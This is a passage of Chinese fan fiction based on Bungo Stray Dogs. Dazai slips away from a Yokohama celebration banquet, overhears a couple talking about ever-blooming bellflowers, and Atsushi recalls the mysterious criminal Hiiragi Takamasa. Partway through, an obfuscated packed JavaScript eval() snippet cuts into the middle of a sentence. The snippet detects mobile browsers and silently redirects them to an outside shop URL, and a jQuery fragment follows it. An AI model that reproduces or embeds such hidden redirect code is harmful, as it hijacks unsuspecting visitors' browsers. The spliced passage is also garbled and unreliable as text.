逼问最终还是,不了了之地结束了。
种田长官没能从太宰治那里问出更多关于“柊贵诚”的信息,尽管他目光如炬,言辞紧逼,但那个黑发青年都用滴水不漏的含糊其辞将一切试探轻轻挡回。
僵持到最后,种田也只能在上级的压力和各方微妙平衡的考量下,暂时搁置追问。
横滨当地政府举办的庆功宴,就在这种表面欢庆、内里暗潮涌动的氛围中拉开了帷幕。
宴会场设在海边一家酒店的露天平台。
夜色初降,华灯璀璨,远处港湾的波光与近处喧闹的人声交织在一起。
香槟塔折射着晶莹的光,餐台上摆满了精致的食物,穿着得体的人们举杯交谈,脸上洋溢着劫后余生的轻松与喜悦。
“祝贺横滨又一次战胜危机!”
“多亏了有你们啊!”
“真是了不起!”
类似的祝酒词此起彼伏。
侦探社的成员们被热情的人群包围。
宫泽贤治对满桌美食发出真诚的赞叹,谷崎兄妹被几位官员拉着合影,国木田独步则独自应付着套近乎的人。
连一向沉稳严肃的福泽谕吉,此刻也破例端着一杯清酒,站在略远离人群的栏杆边,与几位相识的老友低声交谈着,冷峻的眉眼在夜色与灯火中似乎柔和了些许。
空气里飘荡着食物香气、酒意和欢声笑语。
一切都显得那么圆满,那么正确——
危机解除,英雄受勋,城市安然无恙。
只有一个人,在这片愈演愈烈的热闹中,悄无声息地抽身离去。
太宰治没有和任何人打招呼。
他就像一抹融入夜色的影子,趁着无人注意的间隙,从侧面的楼梯缓步走下,离开酒店的台阶,踏入沿海的步行道。
与平台上的灯火通明相比,这里光线昏暗,只有间隔的路灯投下孤单的光晕。
凉爽的海风带着咸腥气息扑面而来,吹动他沙色风衣的衣摆和额前棕色的发丝。
远处的庆祝声依稀可闻。
太宰治双手插在风衣口袋里,漫无目的地沿着步道向前走。
热闹是他们的。
走了不远,太宰治在一处面向海湾的观景平台边缘停下,靠在冰凉的金属栏杆上。
这里恰好有一盏路灯,光线昏黄,将影子拉得很长。
望着漆黑深邃的海面,平台方向隐约传来一阵集体欢呼的声浪,大概是到了某个庆祝环节的高潮。
太宰治微微侧头,听了一耳朵,脸上没什么表情,又漠然地转回来。
庆祝会……圆满解决……英雄……
这些词语在脑海里轻轻飘过,激不起半点涟漪。
他眼前浮现的,却是另一幅画面:森林深处斑驳的光影,那人被打偏头时惊愕又骤然发亮的眼神,掉落在地的粗花呢报童帽,以及最后那句随风飘来的“我们很快会再见的,太宰君”。
就在这时,不远处传来年轻男女的嬉笑声,打破了这段僻静。
“真的吗?你真的……?”女孩的声音带着难以置信的惊喜。
“当然!”男孩的回应紧张又雀跃,“我、我喜欢你很久了!请和我交往吧!”
接着是一小段甜蜜的沉默,和女孩带着笑意的轻轻一声“嗯”。
太宰治没有转头,目光依然落在虚无的海面上,只是那远处的喧嚣与近处刚刚萌芽的私语,形成了一种奇特的背景音。
“这个,送给你!”男孩的声音再次响起,听起来像是匆忙掏出了什么。
“哇……是桔梗花?这么多!”女孩的声音充满惊喜,“好漂亮……可是,桔梗花的花期不是已经过了吗?”
“你喜欢就好!”男孩急忙说,语气里带着献宝般的热情,“桔梗花象征着永恒的爱情,还有……嗯,真诚不变的心!”他说到最后,声音小了下去,显得有些不好意思。
“说起桔梗花,它可是我们横滨的市花哦!而且特别神奇,几乎开遍了横滨的每一个角落,长盛不衰!”男孩话锋一转,带着几分年轻人特有的、想要分享趣闻的雀跃。
“长盛不衰?可是花卉不都有花期吗?”女孩的声音充满好奇,显然不是横滨本地人。
“所以才神奇啊!”
“哪怕不是桔梗正常开放的季节,在横滨的很多地方,你也能看到它们开得灿烂、好多外地人还专门跑来,就为了看这‘长盛不衰的桔梗花海’呢。”
“真的?我以前都没怎么听说过这么特别的事。”
“那是因为这奇迹出现得也不算太久。”男孩解释道,声音压低了些,仿佛在分享一个半公开的秘密,“大概是……两年前才开始的事。很多人都猜,大概是某个浪漫又强大的异能力者,为我们横滨创造的奇迹吧?”
“让象征永恒的桔梗,真的在这里永恒盛开了。”
“异能力者啊……听起来像童话一样。”
小情侣的交谈声伴随着轻快的脚步声,逐渐远去。
太宰治依旧靠在栏杆上,一动不动。
桔梗。
永恒之花。
两年前开始长盛不衰的“奇迹”。
“呵……”
一声极轻的、几乎散在风里的气音,从太宰治唇边逸出。
听不出是嘲弄,还是别的什么。
远处平台的声浪似乎又掀起了一个新的高峰,人们的笑声和音乐声顺着海风飘来,快活而遥远,与方才那对情侣小小的幸福,以及此刻海边无边的寂静,割裂成截然不同的世界。
太宰治收回目光,站直身体,最后看了一眼那对情侣消失的方向——
尽管那里早已空无一人。
然后,他转过身,背对着那片属于“胜利者”、“幸存者”和“幸福者”的热闹灯火,独自朝着更深的夜色中走去。
海面倒映着星空与灯火,也倒映着岸边那丛在夜风中静静摇曳的、不合时宜却异常绚烂的紫色桔梗花。
---
庆功会场的热闹仍在持续。
“怎么了?”谷崎润一郎端来一杯气泡水,递给显得有些局促的中岛敦。
会场贴心地为未到饮酒年龄的参与者准备了无酒精饮料,除了中岛敦,另一边那位浑身散发着低气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149375|196429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
压的芥川龙之介面前,也摆着一杯类似的饮料。
尽管对方看起来对周围的一切都毫无兴趣,那双冷灰色的眼睛正毫不掩饰地锁定着中岛敦的方向。
润一郎自然注意到了这两人的状态,中岛敦在芥川那毫不掩饰的“死亡凝视”下几乎僵成了雕塑,看着实在有些可怜。
“谷崎先生——”中岛敦泪眼汪汪。
“呦西呦西,不要撒娇啦,我又不是太宰先生。”润一郎说着,下意识环顾四周,“说起来,你看到太宰先生了吗?好像宴会开始后就没见着他。”
中岛敦也跟着看了看:“确实没看到……”
“可惜,”润一郎声音压低了些,“我还想问问他关于那个‘柊贵诚’的事,虽然我没在现场,但听别人描述,这次白鲸消失的方式,和当年的……很像。”说到这儿,润一郎身体几不可察地颤动了一下。
当年的“桔梗港事件”,哪怕是和太宰治同为武装侦探社的他,现在想起来还是不寒而栗。
“柊先生他……”听到这个名字,中岛敦难得也有些沉默。
对许多人而言,柊贵诚是世上最凶恶的罪犯,但对中岛敦来说,情况却复杂得多。
那人是将他从黑暗边缘拉回、给了他容身之处与生存意义的人,是会在雨夜递来一把伞、告诉他“活下去本身就需要勇气”的引导者。
是他中岛敦前半段人生中,为数不多真切感受到的、近乎“温暖”的存在。
当年那场震动整个异能界的“桔梗港事件”发生时,他不知因为什么缘故昏迷,醒来时一切已尘埃落定。
犯下滔天罪行的柊贵诚伏诛,而太宰治……成了拯救世界的“英雄”。
最令中岛敦实在想不通的是,那个“英雄”竟然是太宰先生,怎么能……是太宰先生呢!
明明他们两个……
“欧尼酱!”轻快的呼唤打断了中岛敦的思绪。
谷崎直美像只雀跃的小鸟,不由分说地贴到了润一郎身侧。
“咦——直美,怎么了?”润一郎瞬间僵直。
“还问人家怎么了?欧尼酱为什么要丢下直美一个人,直美好寂寞~”直美的手指在润一郎胸口画着圈圈,语气带着不满。
“对不起直美,哥哥没有……”
“那就多陪陪直美嘛!”
“当、当然……”润一郎已经变成了圈圈眼,显然招架不住妹妹的热情攻势。
“啊~直美最喜欢欧尼酱啦!”直美笑着跳起来搂住润一郎的脖子,而被妹妹抱住的润一郎脸颊爆红,几乎丧失了思考能力。
目送那对亲密无间的兄妹走远,中岛敦又抿了一口杯中的汽水,冰凉的液体带着微小的气泡滑过喉咙。
叮——
手机传来一声轻微的提示音。
中岛敦拿出手机,屏幕上显示着一条新信息,发信人是一个没有保存的陌生号码,但内容却让他瞬间明白了来源:
[一份蛋包饭和关东煮,要热的!——H]
看清楚短信内容,中岛敦也没心思呆在这个庆功宴上了,放下手中的杯子,匆忙离开了会场。